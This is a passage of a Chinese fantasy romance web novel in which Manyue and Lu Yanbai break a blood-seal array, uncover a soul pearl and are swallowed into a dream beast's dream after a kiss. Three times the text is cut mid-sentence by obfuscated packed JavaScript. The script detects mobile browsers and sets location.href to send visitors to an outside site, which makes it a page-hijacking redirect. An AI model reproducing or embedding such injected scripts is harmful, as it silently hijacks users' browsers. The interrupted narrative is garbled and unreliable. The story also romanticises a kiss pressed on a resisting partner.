满月想了好半天,还真想不到可以抵账的。 终于,她败下阵来:“……好吧,那你这次想要什么换?” 陆宴白不过随口一提,就是想逗她玩,倒是她突然变得这么好说话,让他稍感意外。 他仔细想了想,目光在她身上从头扫到尾。 满月想起上次交易他要了她的白绒球,不觉摸摸头上华贵的步摇,试探着问:“……你想要这个吗?” 这人不会真是女装大佬吧? 她眼里不怀好意的怀疑太过明目张胆,陆宴白虽然不知道她具体想什么,但总归不会是好事。 他单手支着下颌,笑意越发盎然:“你为什么觉得我想要?” 满月哆嗦了下,多次打交道的经历让她直觉这话不能随便接。 她放下手,扯扯嘴角:“我瞎猜的。” 陆宴白笑而不语。 “那你想要什么?” “还没想到。”陆宴白漫不经心,“想好了再说。” 满月想起她手里还拿着他的一张契言符。 他欠她,她又欠他。 真是说不清。 夜渐深,满月有些困倦起来。白日里和周娘子虚与委蛇,又要学那些无用的步态走姿,着实是消耗精力。 满月打了个呵欠,眼神游弋到陆宴白身上,刚想要让他今晚打地铺,后者却忽然咳嗽起来。 这让她不得不把到嘴边的话又咽了回去。 ……让一个病号打地铺好像确实不太人道。 满月端详着他略有些苍白的脸色,一时判断不清他是装的还是真的。 “你……你今晚也睡在这里吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995450|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”满月迟疑着问道。 陆宴白没有回答,只掩唇低咳了几声,旋即虚弱地看向她。 ……他明明什么都没说,却像是什么都说了。 满月无语。 算了,反正又不是没一起睡过。 虽然那个时候她还并不知道他是陆宴白。 一回生二回熟,满月心态良好。她指了指床榻:“你睡外面我睡里面,中间那条线,谁也别越过。” 陆宴白笑吟吟:“你现在倒是不讲什么男女大防了?” 呵呵。 满月面无表情地用他当时的话回击他:“反正我也不是凡人,物种隔离,没关系的。” 陆宴白扬了下眉,虽然没听过她说的古怪词汇,但大致猜得到是什么意思。 满月困得很,懒得管他怎么想,洗完漱就抱着被子滚到了最里面。 她面朝着床架,心无旁骛,再加上一天的劳累,很快就睡着了。 躺在外边的陆宴白却并无多少睡意。黑暗之中,感官的敏感度被放大,她身上甜甜的香气,总是若有若无地飘过来。 嗯。 想吃杏子糕了。 半夜,月上中天。 似是感知到什么不详的气息在逐渐靠近,陆宴白睁开了眼。 绿色荧火一样的东西穿透窗扇幽幽飘进了屋内,它在四周转了一圈,就在逐步响着拔步床靠近的时候,一张道符悄无声息地附在了上面,遮蔽住气息。 须臾,绿色荧火调转方向,幽幽地原路返回。 陆宴白偏头看了眼一无所知的满月,弯了弯唇角,重新阖上了眼。 * 从那天开始,满月就过上了白天和周娘子周旋,晚上和陆宴白周旋的生活。 陆宴白的伤势一直不见大好,对于小院的探索工程迟迟施展不开,好在这段时间十夜公子似乎一直被外面的事情牵绊着脱不开身,很久没有回来。 干坐着也不是办法,满月趁着这段时间,将她能想起的只言片语都记录下来,没事就推测和分析。 满月拿着笔在纸上涂涂画画,一转头,却发现陆宴白舒舒服服地靠坐在榻几旁,一边吃着蜜饯果子,一边津津有味看着话本子——那是先前梦竹拿来给她打发时间用的。 满月:“……” 怎么有种养了个只知道吃软饭的小白脸的感觉。 满月莫名不爽。她决心不能再这么耽搁下去了,清了清嗓子,将自己的大作摊开来放到陆宴白面前:“你有没有什么看法?” 陆宴白头也不抬:“挺好看的。” 指的是他手中的话本子。 满月:“……” 她毫不客气地一把将话本子抽走,陆宴白这才茫然地抬起头:“有事?” “当然有事。”满月点了点案几上的纸笺,颇有种恨铁不成钢的感觉,“我先前不都和你讲过了吗?你觉得密云城和这里有没有关系?还有娘娘像和何府,若是你在的话,你当时会怎么处理?” 陆宴白懒洋洋打了个呵欠,要笑不笑:“程南楼都没有办法,我自然也没办法。” 这话鬼才信。 陆宴白伸手要拿回话本子,却被满月紧紧护在怀中不给。 不知是不是错觉,她总隐隐感到陆宴白对这件事不是太上心,甚至有意无意总想拖延进度。 也许在他看来,这和他们以前遇到的那些降妖除魔的意外情况没太大区别,所以提不起兴致。 满月觉得不能只有自己背负着这个沉重的负担瞎操心,她得来点狠的敲打一下他。 思及此,满月道:“我之前和你说了,何府里里外外都没有一点邪祟的气息,何小姐也没有任何附邪之相。” 陆宴白手支着脸,嗯了两声,显而易见地在敷衍,只想等她把话说完好重新拿回话本子。 “可若确实没有什么邪祟妖魔。”满月盯着陆宴白,一瞬不瞬,“这一切都是邪仙所为,又当如何?” 47. 047 话说完,满月注视着陆宴白,心砰砰直跳。 她也知道,自己这话太过于离经叛道,属实是想象力没边的人才能想到的情况。 毕竟在这个世界,已经多少年不曾有过飞升的传闻,更别提邪仙的存在。 陆宴白垂着眼睑默然了片刻,再抬起眸时,只带着抹似是而非的笑,满月并不是很能琢磨出他的心思如何。 “我也知道这太过匪夷所思了点。”满月替自己找补,“不过也不是……” “不可能”三个字尚未出口,陆宴白就先慢条斯理开了口:“你知道的还挺多。” 满月立时停住了。 她眨眨眼,一时被这短短七个字所透露出的信息震撼得不知该如何是好。 陆宴白趁这个机会从她怀里躲过话本子,他丢了个糖渍梅子到嘴里,向后一靠倚在榻几上。 “意思是,你也知道?”宕机了半天,满月才咂摸过味来。 陆宴白笑起来,回答很是模棱两可:“你猜。” 满月:“……” 别人不清楚,陆宴白这么回答,肯定是一早就知道了。 满月捏皱了案几上的纸笺:“那,那献祭的事你可知道了?” 陆宴白眉梢微动,随即他歪了下头,饶有兴趣地笑道:“这个就是不知道了,你讲来听听?” 早知道这么回事,满月一开始就不该瞻前顾后考虑那么多,白白浪费时间。 “我……我也是听十夜公子不小心说漏嘴的,所以知道的不太多。”先把锅甩好,满月才入正题,“那个邪仙,似乎是想将密云城一城的人献祭。” “她献祭那些人用来干什么?” 满月习惯性地正要回答,忽然发现这不该是她能知道的事,紧急刹了车:“……这我就不知道了。” 陆宴白眯了下眼,弯起唇角:“所以你才一直想让我去那个小院看看?” 满月点点头:“我听她们说,那个地方和密……和邪仙有关系,或许是个突破口。” 她说完,见陆宴白没什么反应,有些着急起来:“你答应过我的!你该不会是想反悔了吧?” 反悔算不上,只是觉得麻烦。 这些事陆宴白不是不知道,不想管就是因为懒得管。 不过他确实有些好奇。 他就说她这么胆小的人,怎么会出现在那个小院外面,还不顾自己的安危作死,俨然把生死置之度外,这可和她胆小怕事的性格不太相符。 原来是为了救人。 陆宴白垂眸瞧着她,半真半假地笑道:“你身在十方城,又是妖,既然受不了波及,何必要为其他人冒这个风险。” 满月眨了眨眼,一脸理所应当:“就算不为一城的人,可是陈仓他们还在密云城。” 陆宴白哦了一声,仍旧兴致缺缺:“所以呢?他们就值得你这样做了吗?” 这倒真把满月给问住了。 陆宴白似笑非笑瞧着她,隐约有暗芒在眼中流转。 程南楼他们都是被济世为人的观念洗脑惯了的,若是他们做出这样的义举,陆宴白并不会觉得奇怪。 可满月不同。 去过三危山,他比任何人都知道她生活在一个什么样的环境里,被压榨,被剥削,被轻视,被嘲弄。 就算如此,还能养出这么她个打不死搓不圆又没完全被同化的心性纯良的小妖怪,的确不是一件容易的事。 陆宴白笑她:“看不出来,你还挺善良。” 满月一听这个评价全身就起鸡皮疙瘩,她捂住耳朵:“你可别捧杀我。” 她也是为了她自己。 要是真的善良,她也不会在他这个作恶多端大反派的问题上明哲保身,再三缄默。 满月不想再和他纠结于这个问题,她重新铺展开刚才不小心被揉皱了的纸张:“我觉得那个小院里,一定藏着什么重要的东西,说不定就与献祭有关。邪仙现在被……被一些东西牵绊着无法露面,现在正是好时机。” 满月说这话还蛮忐忑的,她的推测大部分都是依据原著的一些信息,陆宴白要较真起来问怎么得来的,她不一定能答得出来。 好在陆宴白没同她计较这些细枝末节。他看了她一眼,语气就像讨论天气一样随意:“好。我帮你。” 满月眼睛一亮,有点不敢相信:“真的?” “真的。” “什么时候?” 陆宴白翻开话本:“明晚。” * 月黑风高夜。 满月不小心踩到了枯枝,寂静的夜里,发出清脆的声响。 她赶忙停住脚步。 走在前面的陆宴白头也不回,只将一张符纸掷了过来,符纸轻飘飘地飘在半空,却不偏不倚落在了满月怀中。 金光一现,符箓便消散在她周身,隐去她的行迹和气息。 看来陆宴白比她想象中知道的还多。织梦兽是没有五官的妖兽,听力视力虽较常人来说也算敏锐,但与其对气息的捕捉来说却是不值一提,它甚至能够以此同时关注到方圆几百里的变化。 要想悄无声息进入小院,首要的便是遮蔽气息。 再次回到小院前的林子里,树影重重,一切好似和几日前没有任何区别。 满月从陆宴白身后勉强探出半个脑袋,看着鬼气森森的院落,嘟囔道:“一定要我跟着来吗?” 陆宴白好笑,垂眼瞧她:“是你拜托我来看的,你不跟着一起谁跟着一起?” 满月讪讪,抬眸对上他的视线:“你也知道我法力微弱,跟着你就不怕给你添乱吗?” 陆宴白弯起眼睛:“我不怕。” 满月:“……” 可她怕啊。 她可不要太怕了QAQ 冷不丁又像是回到了在三危山的时候,她跟着他进入危机重重的绣楼。 不过那时她完全是被迫的,现在…… 只能说还是被迫的。 陆宴白看着不远处的小院,没有急着动手,而是问她:“你现在还能看到那团血红之雾吗?” 这是之前满月告诉他的。 夜色深重,相比于白天,那团若有似无的血红之雾并不醒目。 满月眯着眼睛看了会儿,点点头:“能看到,不过看不清。” 回答完,她抬头看向身边的陆宴白:“那到底是什么?” 陆宴白瞧她一眼,笑了笑,却没有回答。 又来这套。 好在满月习以为常,没有再继续追问。 满月四下里看了看,她正打算问什么时候行动,一张面具就扣在了她的脸上。 满月赶忙用手扶稳了面具,不解道:“这是什么?” 陆宴白语气懒懒的,就像在说一件微不足道的小事:“傩面而已。放心,不是害你的。” 满月扶着面具的手微微一顿。 ……这该不会就是原著里程南楼所用过的那个傩面吧? 十二傩面,原是古人驱邪所用之物,天长日久,在一代代除妖师手中,逐渐成了神器。原著里程南楼的傩面不仅可以在一段时间内完全改变一个人的身形面貌,还能依据不同傩面兽相发动攻击,必要时甚至能挡下致命一击。 简而言之就是,神物。 傩面照理应有十二张,但流传于世的却只有三张,弥足珍贵。 陆宴白是玄都观的人,有此神物不算稀奇,稀奇的是他竟然给了她。 他什么时候这么好心了? “你放手,傩面会自己戴上。” 满月狐疑着松开手,傩面霎时似活物一般醒了过来,向四面延展,紧紧扒在她整张脸上。 须臾,傩面与她的脸就完全融合,满月再伸手摸,就什么都摸不到了。 “傩面能改变你的面貌,若是遮蔽气息的法术被破,你也不会被认出来。”陆宴白难得一口气正经讲这么多话,“不过只有一炷香的时间。” 有别于其他地方,小院没有点灯,整个院落仿佛与周遭的黑暗融为一体。满月跟着陆宴白趴在院墙上,悄悄探头一看,不曾想漆黑的小院里竟然空无一人,连织梦兽的绿色萤火都不知所踪。 陆宴白纵身一跃,悄无声息落了地。 满月紧跟其后,大约还是因为身体素质的提高,同样没有发出多大声响。 陆宴白见她短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000278|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短时间内进步如此迅疾,挑了下眉,倒是奇怪起来,满月知道他想问什么,胡乱打了个手势,意思是等之后再说。 她手势做得抽象,陆宴白倒是看懂了,没再继续追问。 小院不大,三面各一房间,由于黑着灯,同样看不到其中有什么。 小院里比外面更加安静,静到简直没有一点声音。 如同纸鹤所言,院子最中央盛放着一口大鼎,云遮雾绕,月光晦暗不明,很多细节看不清楚,只能勉强看到大鼎上布满了不少灰尘,鼎身凸起,雕刻着奇形怪状的妖兽。 最令满月在意的,是鼎身上萦绕着一团挥之不去的血红之雾。 原来小院上方的血雾来自于这里。 若是先前还只是怀疑,现在满月已经有了七八分的确定,就算这不是布阵用的器具,也定然与此有关。 但是她要怎么处理?难道直接打碎它? 满月陷入沉思的时候,陆宴白也没闲着,他取出早备好的纸人,双手交叠结印,纸人如同被吹了一□□气进去,歪歪斜斜站起来,四散而去,充当在周围的耳目。 做好这一切,陆宴白退回到繁茂的花树下,月光透过斑驳树影落下,映入他黑沉沉的眸中,深不见底。 这几日他表面上是在养伤,实际白天都趁着满月不在的工夫来这里寻找命魂珠,可惜翻了个底朝天,都没有发现任何线索。 包括这口大鼎。 他之所以会答应来帮她,除了一时兴起,也是想要看看,她能不能翻出些什么新花样。 虽然不清楚具体的原因,但她总是能知道一些意料之外的事情。 满月浑然不知陆宴白心中所想,仍在积极探索着铜鼎。她轻轻碰触鼎身,见没有惹来异动,胆子大了些,开始抚摸起其上错落的纹路。 鼎身刻的图腾大多是早就在妖王陨落前就绝迹的上古妖兽,有生四条腿,有长三只眼睛,还有六条胳膊的,满月辨识不出。 她不禁又对自己先前的判断又怀疑起来。 难道这真的只是一口平平无奇的普通铜鼎? 阵法大多是以物而制,她可她摸了半天,除了摸到一手灰,什么都没有触发。 沿着纹路,忽然灵光一现。 会不会是血符阵? 她记得原著里堕仙就用过这一招。血符阵是阵法中最低端的一等,入门最容易,要破解起来也最容易,所以但凡有些修为的,都不会用此法建阵。 可偏偏堕仙是个奇怪的人,常常反其道而行之。主角团也曾被此法迷惑。 满月犹豫了一下,从旁边寻了一块有些锋利的石块,对着自己手掌比划了一阵,却迟迟下不了手。 没办法,她太怕疼了! 一旁的陆宴白看着她这一系列迷惑的操作,纵然见多识广,也不禁轻蹙了下眉。 她在干什么? 要对自己下手真的不是一件容易的事,满月踌躇再三,将视线从手掌上移到手指,最后小心翼翼,用石块轻轻划开一道小小的口子。 鲜血是渗了出来,但没多少,完全不足以涂抹到铜鼎上。 满月盯着已经快要愈合的伤口:“……” 陆宴白眉梢跳了跳,终于看不下去了。他走过来,压低声音询问:“血符阵?” 不过短短几个动作,他竟然就猜出了她的用意。 满月不可思议地挣圆了眼,点点头。 陆宴白看着大鼎,眼中闪过讥讽,刚想嘲笑她不可能,但念头一转,忽然就觉得:万一呢。 他确实没有试过这个方法。用此法铸阵,即便阵主修为了得,上限也不会太高。所以他来这里寻找命魂珠的第一日,就没想过这个方法。 不过试一试也不会亏到哪里去。 陆宴白从袖子里拿出一把小刀,眼睛都不眨一下,就在自己的掌心划开一道。 血汩汩涌出。 这动作快准狠,一点不带犹豫,直看得满月头皮发麻。 这哥们对自己未免也太狠了点。 陆宴白面不改色地将手按在了鼎身,鲜血以极快的速度渗入鼎中,一滴不剩。 随后,鼎身开始发起光来。 48. 048 陆宴白略微一怔,深不见底的眼眸中极为罕见地掠过一丝讶异,但很快就恢复如初。 满月倒是高兴起来,心底悬着的石头终于落了地。她原本对血符阵的效果也并非百分百确信,毕竟此刻是前传时间,与原著中实际发生的事件相隔太过遥远,一切都只存在于理论上的概率。 鲜血沿着繁复图腾的脉络蜿蜒而下,黯淡的金属仿佛被注入了诡异的生命力,一路次第亮起血红的光芒。四面鼎壁之上,以鲜血为墨书写的禁制符文骤然显现,黏稠的血迹顺着符文边缘歪歪扭扭地流淌下来,在黑夜里显得格外惊悚可怖。 满月却精神一振。 这题她会!只要打碎禁制—— 就在这念头刚起的刹那异变陡生。庭院角落,屋檐缝隙,点点幽绿色的流萤毫无征兆地从中一涌而出,如同被什么无形的力量牵引,疯狂地朝着一处汇聚。眨眼间,一只由无数绿火构成的巨大手掌已然成型,带着令人心悸的阴寒气息,撕裂夜幕,挟着沉闷的破空之声,朝着庭院中央狠狠拍下。 满月一时没反应过来,只有身体几乎是本能地翻滚出去,狼狈地撞在冰冷坚硬的大鼎之后才停下。 巨掌擦着她的肩膀而过,她原先站着的地方被砸开好大一个洞,地上的尘土枯叶卷起,拍在鼎身上发出沉闷的巨响,饶是她躲得及时,也被那余波震到,脸上的傩面碎成两半,脱落下来。 傩面替她挡了致命一击。 满月紧贴着鼎身冰冷的金属,大口喘着气,心砰砰直跳。 事情进展得太过顺利,差点忘了织梦兽还在这附近。如今血符阵被彻底激发,波动如此剧烈,即便她和陆宴白再如何隐藏气息,那东西也必然知道有人闯入了它的禁地。 仿佛是为了印证她的担忧,更加骇人的景象出现了。如同打开了地狱的闸门,更多幽绿色萤火从三面屋舍的每一个窗口、门缝、甚至瓦片的间隙中疯狂倾泻而出。整个破败的小院被这诡异的绿火完全占据,一时间他们如同置身幽冥鬼域。即便如此,汹涌的绿潮丝毫没有停止的势头,反而越来越多,铺天盖地席卷而来,将两人彻底围困在中央。 好在自小河一事后,满月多了些自保的能力。她双手结印,幽蓝色的华光充盈在她周身,形成一道屏障,令绿色荧火没有空隙钻入。 “快破禁制!”满月艰难维持着结印的姿势,对着被绿火重点照顾的身影急声喊道。 压力中心的陆宴白身形如鬼魅般一晃,从容不迫地避开了巨掌又一次的拍击。显然,织梦兽感知到了他更强的威胁,将主要的攻击都集中在了他身上。密集的荧火飞矢攻势如同狂风暴雨,一波未平一波又起,密集得几乎不给他留下任何喘息的空隙。 满月还担心陆宴白没有完全恢复,他自己倒是半点不慌,甚至带着一丝游刃有余的轻松,身形飘忽不定间,每一次都极限地闪避开织梦兽的进攻,在漫天绿火交织的死亡之网中穿梭自如,快得连残影都难以捕捉。 陆宴白一面闪躲,一面分心二用,修长的手指在虚空中快速划动,金色符文随着他指尖的牵引凭空浮现,旋转着围绕在他周身。 当划出字符的最后一道时,金字真言立时光芒大盛,齐齐向着四面而去,穿破密不透风的绿色荧火,精准无比地击破鼎身的血色禁制符文。 禁制应声而碎,那些由鲜血书写的符文如活物一般发出凄厉的尖啸,猛地炸裂开来。粘稠的的黑血四散飞溅,如雨点洒落。 天边一道红光闪过,轰隆一声。 满月身上也被溅了一些黑血,但这并不妨碍她的激动。 没想到这么轻而易举就扭转了局势,果然是…… 她下意识地用带着劫后余生庆幸的余光瞥向那尊作为阵眼核心的铜鼎,然而目光触及鼎身的刹那,她脸上的雀跃瞬间凝固,只化为一片想掩饰也掩饰不了的惊愕。 被破除禁制的大鼎褪去了先前的污秽,恢复了青铜器应有的古朴厚重与暗沉光泽。而就在鼎腹中央,一枚约莫鸽子蛋大小的珠子正从中缓缓升起,悬浮在半空之中。珠子通体剔透,内部却散发着一种极其妖异、浓郁到化不开的血红光芒,将周围一小片空间都染上了不祥的诡异红光。 怎么,怎么会是命魂珠?! 满月呼吸骤停。 她在三危山见过一次,就算再怎么欺骗自己,她也绝不会认为那是别的东西。 堕仙竟然是用命魂珠做了阵眼。 不是……她有病吧!!! 满月惊得已经不知道该说什么才好。 就在她心神因这“意外之喜”而剧烈动摇的瞬间,维持着屏障的妖力不可避免地出现了一丝波动。一直伺机而动的绿色荧火敏锐地捕捉到了这转瞬即逝的破绽,趁机穿透了蓝光的薄弱处,落在了她的身上。 陆宴白倒是没有任何意外,他早就知道这院子的死气来源于命魂珠,只是一直没寻到罢了。 他没有任何犹豫,抬手就要拿,可是还没碰到边,那些弥漫在空气中的绿色荧火突然暴动,凝成一条长鞭,裹挟着令人心悸的浓稠死气,以移山倒海之势向他袭来。 陆宴白神识一凝,金色屏障立刻在他身前展开。 金色屏障霎时碎裂,与此同时绿萤长鞭也被打散,化为了无数光点,消散空中。 两下相撞,无形的冲击在小院中扩散开来,连那沉重的青铜大鼎都发出了嗡鸣。 满月被波及到,差点连站都站不稳。 可是眼下她已无暇顾及这些,心思全放在离她不远的命魂珠上。 按照原著来说,陆宴白拿到度母阴司的命魂珠已属意外,如果再让他拿到堕仙的命魂珠…… 天知道会造成什么不可估量的可怕后果,恐怕比堕仙还要更甚。 还真是前有织梦兽,后有命魂珠,现在选哪个也讨不到好。 怪就怪她实在太心急,一心只想着祭祀大阵的事,差点忘了还有命魂珠这回事。 满月被巨大的懊恼所淹没,忽然她脑中灵光一闪,想到了什么。 不对。 先前陆宴白答应得那么干脆利落,她就隐约感觉不对劲。他这么好说话,会不会是一开始就知道命魂珠藏在这里?要不然以他爱刁难人的性格,她简简单单两句话就能请动他来帮忙? 无数的念头从脑海中闪过,交织成一个让她感到不安的答案。 他一早就是为了命魂珠而来的。也怪不得会在这里碰到他。 不行,这次无论如何,她都一定要阻止他拿到命魂珠。 打定主意,满月转头看向面前的血红珠子,她正要趁乱伸手去拿,却发现自己的半个手臂不知何时竟被不断繁衍的绿色荧火包裹的密不透风。 不。 不止是手臂。 就连下半身也被布满了绿色荧火,脚踝已经变得逐渐透明。 满月怔愣一瞬,明白过来。 她被织梦兽侵袭了。 原著里提到过,织梦兽的本体无人见过,这些绿色荧火皆是它本体的须须,单论战力,它远比不过度母阴司手下的画境,可诱人入梦的能力,却是独一档。陆宴白可勘破四方镜的幻境,可一旦被入侵,就算是他也绝对无法逃脱织梦兽的梦境。 心念急转,就像溺水的人抓到了唯一的浮木,一个极其冒险的主意在满月心中成型。 她要像水鬼一样将他一起拖入梦境。 至少……至少能暂时阻止陆宴白拿到命魂珠,而且有他一起入梦,说不定也能增加她在梦境里的生还率。 眼看着织梦兽吞噬她的速度越来越快,满月来不及再多考虑,大声喊道: “救命——” 陆宴白正在漫天绿火中穿梭,金字真言环绕在他周身,阻挡着织梦兽一波又一波的进攻,听到满月的声音,他动作略微一顿,侧过头,金瞳之中清晰地映出了满月此刻的模样——无数的绿色荧火依附在她身上,如同贪婪的藤蔓一路向上延伸,已经快将她的身体吞噬了快大半。 陆宴白蹙了下眉,眼底泛起一丝几乎难以捕捉的波澜,瞬间失去了与这些烦人荧火继续缠斗的兴致。 “散。” 敕令一下,围绕他周身的金色真言瞬间大亮,将周遭密集攻来的绿色荧火净化出一片短暂的真空地带。就在这片绿火退散的同时,他身形一晃,原地只留下一道淡淡的残影,下一刻,他已如同瞬移般,稳稳地出现在了满月的面前。 距离如此之近,满月那刻意营造的惨状更加清晰。平时那个总是一脑袋鬼点子的小妖怪靠着鼎抱膝而坐,周遭的绿色荧火已经被陆宴白隔绝开,然而她身上的却还在,不断地蚕食着剩下的部分。 “呜……陆宴白……我、我不想死……”满月带着哭腔开口,长睫上挂着泪珠,脆弱无助地瞧着他。 她演得情真意切,足以骗过任何一双眼睛。 实际上,满月比谁都清楚,被织梦兽彻底吞噬并不会立刻死亡,充其量是被强行拖入它编织的梦境中去历劫。但此刻,她需要陆宴白相信她是真的害怕。 陆宴白看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009371|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着满月这副小可怜的模样,难得没有说什么刻薄的风凉话,他挑了下眉,似乎对她的弱小颇有些无奈。 “放心,你不会死的。”他低语一句,却少了惯常的讥诮。旋即他没有丝毫犹豫,屈膝半跪在她面前,抬手点在了她的眉心。 源源不断的灵力被灌入满月体内。这股力量纯净而强大,试图强行驱散那些如附骨之疽缠绕着她的绿色荧火。 他想用这种办法帮她脱离织梦兽的控制。 满月知道这是没用的,但她也不需要有用,她只是要一个机会。 “陆宴白……”满月的声音带着哭过后的沙哑和一种奇异的温柔,仿佛用尽了最后的力气,那双湿漉漉的眼睛,盛满了惊恐和祈求,一瞬不瞬地凝视着面前的人,“反正……反正我就要死了,死之前,你可不可以满足我一个心愿?” 她这副模样实在太过乖巧可怜,就算在三危山时,陆宴白没见她流露出过这样的神情。他略微一怔,还不等问她所说的心愿是什么意思,满月就俯身朝他靠了过来。 她的唇印在他冰冷的唇上。 陆宴白却只觉得仿佛杏子糕清甜的味道充盈在鼻息之间,唇上的触感是意料之外的柔软,这还是他从未有过的体验。 事实上早在满月行动的片刻,他有足够的时间躲开,可不知道为什么,他没有选择那样做。 结果并没有想象中的排斥,反而有些说不清楚的感觉,很陌生,又有些新奇。 另一边的满月手都在发抖。这样叛经离道的孤注一掷,只希望陆宴白不要立刻杀了她才好。 若非不得已,她也不想这样。但像陆宴白这么厉害的修士,小周天三百六十度无死角立体防御,如果不像主角团那样被长时间困在秘境,很难会在短时间内被织梦兽侵袭。 唯一的方法,也是原著里提到过的,只有这个。 满月还想好了从梦境出来之后的退路,她完全可以打着暗恋陆宴白多时的名义来做这件事,至少这样就不会被他疑心她是故意拖他下水。 一石二鸟之计,十分完美。 确认他也同样被浸染,满月拿捏好时机,正打算拉开距离,假惺惺同他倾诉内心的感情,意料之外的变故发生了。一只纤长的手插.进了她的发间,托着她的后脑,不容抗拒地阻止了她的离去。 满月错愕地瞪大了眼睛,还来不及理解这突如其来的变故,下一瞬,她只觉天旋地转,就被反过来压在了冰冷坚硬的鼎身。 她的口被人探开,原先浅尝辄止的吻,逐渐变得绵长深入,冷冽如雪松的气息瞬间占据了她全部的感官,先前仅止于表面的略显生涩的触碰变得极具侵略性,带着一种令人心悸的掌控力,搅乱了她的呼吸。 满月大脑一片空白。 她怎么也没想到是这个展开。 等她回过一些心神,尝试着想要推开束缚着她的人,换来的却是更深的禁锢。 对陆宴白来说,此刻发生的一切都格外有趣。唇齿间那陌生的触感,柔软的不可思议,混合着杏子糕的甜香和泪水的咸味,还有她因极度震惊而僵硬生涩的反应,都给他带来了一种前所未有的的刺激感,引诱着他不断往下沉沦。他对她的做法,与其说是将错就错,不如说是一种带着探究意味的掌控和索取。 在满月被亲得眼冒金星快要呼吸不上来的时候,面前的人终于松开了她。 “你……”疯了吧三个字尚未出口,理智迅速回归,阻止了她说出不该说的话。 差点忘了这事是她先挑起来的。 不过……不过他就没错吗?都什么时候了! 好在满月还没有被亲昏头脑,心里还惦记着自己的任务。她装作无事发生的样子很快入戏,像之前准备好的那样故作惊讶地看向陆宴白,他的手臂同样被绿色萤火附着:“你,你怎么也……” 陆宴白盯着她的脸,绿色萤火早就经由满月沾染到他的身上,手臂传来微微的灼烧痛感,但他全然不在意。 陆宴白笑了,表情看上去很愉悦,金瞳之中倒映着点点萤火和她的脸。他的眉眼分明还是从前的眉眼,此时却变得明晰起来,唇红齿白,凤眸潋滟,带着诡谲的艳丽感,被这样的他专注看着,满月心跳不禁漏了一拍。 “这不就是你想要的吗?”他道。 满月一怔,不及她有所反应,他抬起她的下颌,又意犹未尽地吻了上去。 下一刻,他撤去了护在两人身前的屏障,绿色荧火如潮水般涌来,顷刻之间,将他们两个人吞没殆尽。 49. 049 十夜公子赶到的时候,院子里已经恢复了往日的宁静。 小院如同飓风过境一地狼藉,青铜大鼎上的禁制已被击碎,里面空空如也。 离近大鼎,地上有一个面具,碎成了两半。 十夜公子屈膝拾起其中一片,拿在手里端详。 “如何?”红衣女子姗姗来迟,院中的灯已经尽数被点亮,照见里面的一切。绿色萤火已经被打散一多半,剩下的一些蛰伏在空荡的大鼎内,发着黯淡的光亮。 这里发生过很激烈的打斗,但是有人设了阵法,一点动静都没传出去,若不是天罚降下,他们恐怕到现在还不知道发生了什么。 “阵法破了。”十夜公子低头看着手里的面具碎片,面上的神色隐在暗处,看不分明。 红衣女子神情略略一变。 相比于其他两处阵法,设于此地的阵法看守相对薄弱,原因无他,只因这里是用命魂珠作为阵眼的。 命魂珠是死气凝聚之物,极其危险,单是靠近,轻则神志不清,重则魂飞魄散。 即便有办法暂时规避,长时间接触也必会伤及神魂。 所以一方面,它本身就是最坚固的封印,根本无人能安然无恙地靠近。 但另一方面,也正因如此,无法安排更多的人看守在外,毕竟就连有与死气颇有渊源的织梦兽也只敢守在外围,更别说其他。 可是现在不仅阵法破了,珠子也消失不见。 “人呢?”红衣女子问道。 十夜公子闭上眼单手掐诀,若有似无的金桂之气飘入他鼻腔,零星有片段在他脑中闪过。 “被织梦兽吞了进去。”他睁开眼,“而且是两个人。” 织梦兽身上有死气,寻常人被吞进去,受死气污染,也相当于和死了没两样。 可是院中的景象早就说明,来者并不惧怕死气。 “也就是说那小道士在城里还有个帮手了?”红衣女子双手抱在胸前,抬了抬下巴,“命魂珠呢?” “不知道。”他回答得非常干脆。 红衣女子眯了下眼。 “命魂珠有死气,我的追溯术追溯不到。”十夜公子站起身,用折扇敲了敲掌心,眼中略过几缕沉郁之色,抬头看向红衣女子,“这件事必须立刻上报主上。” 阵法破了,不过是将祭祀之事拖延一段时间,可命魂珠没了…… 十夜公子抬头,遥遥望向远处云层之间若隐若现的城宇轮廓,和轰鸣间快要降临的雷劫。 他们都会死。 * 好冷。 满月打了个哆嗦,睁开了眼。 她发现自己正坐在床榻的小几旁,手上拿着绣花用的顶棚,像是在绣着什么。 看来她已经进入了梦境。 和四方镜那时不同,满月神智清明,并没有忘却进来前所发生的事,甚至相反,对发生的一切都历历在目,她是如何算计陆宴白,又是如何被他按着反亲了过来,还有他最后说的那句意味不明的话。 想着她又没忍住打了个寒颤,这次不是冷的,是吓的。 一回忆起那个吻,她就全身毛骨悚然。 